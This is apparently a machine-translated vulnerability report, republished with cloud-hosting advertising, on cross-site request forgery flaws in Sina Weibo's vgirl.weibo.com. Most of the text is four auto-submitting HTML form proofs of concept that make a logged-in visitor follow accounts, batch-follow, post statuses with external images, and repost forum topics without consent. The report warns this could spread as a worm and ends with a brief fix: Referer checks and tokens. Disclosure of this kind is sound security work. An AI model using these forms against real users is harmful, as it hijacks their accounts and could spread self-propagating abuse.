A csrf vulnerability in Sina Weibo may cause worms to spread. Weibo/batch ADD Attention without the user's consent
Detailed Description: When receiving POST and GET information, the Referer of POST is not verified, and the token is not added to the POST information to verify the correctness of the information, cause the vulnerability.
Almost all vulnerabilities are on the micro girl site.
Http://vgirl.weibo.com
Add follow
Vulnerability address: http://vgirl.weibo.com/interface/weibo/friendships.php
<Html>
<Body>
<Form id = "imlonghao" name = "imlonghao" action = "http://vgirl.weibo.com/interface/weibo/friendships.php? Act = follow "method =" post ">
<Input type = "text" name = "uid" value = "1747906692"/>
</Form>
<Script>
Document. imlonghao. submit ();
</Script>
</Body>
</Html>
Response Information
==========
ADD Attention in batches
Vulnerability address: Same as above
<Html>
<Body>
<Form id = "imlonghao" name = "imlonghao" action = "http://vgirl.weibo.com/interface/weibo/friendships.php? Act = followbatch "method =" post ">
<Input type = "text" name = "uids" value = "1804283841,1632119007"/>
</Form>
<Script>
Document. imlonghao. submit ();
</Script>
</Body>
</Html>
Response Information
==========
Weibo + images (image addresses can be external addresses and will be automatically downloaded)
Vulnerability address: http://vgirl.weibo.com/interface/weibo/statuses.php
<Html>
<Body>
<Form id = "imlonghao" name = "imlonghao" action = "http://vgirl.weibo.com/interface/weibo/statuses.php? Act = upload "method =" post ">
<Input type = "text" name = "img" value = "http://static.youku.com/v1.0.0781/index/img/youkulogo-s.png"/>
<Input type = "text" name = "text" value = "XXXXX"/>
</Form>
<Script>
Document. imlonghao. submit ();
</Script>
</Body>
</Html>
Response Information
Weibo
==========
Weibo posts
Vulnerability address: http://vgirl.weibo.com/interface/bbs/topic.php
<Html>
<Body>
<Form id = "imlonghao" name = "imlonghao" action = "http://vgirl.weibo.com/interface/bbs/topic.php? Act = send_repost "method =" post ">
<Input type = "text" name = "tid" value = "1146"/>
<Input type = "text" name = "content" value = "XXX"/>
</Form>
<Script>
Document. imlonghao. submit ();
</Script>
</Body>
</Html>
Response Information
Weibo
Solution:
Check POST Referer
Add token in POST information
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
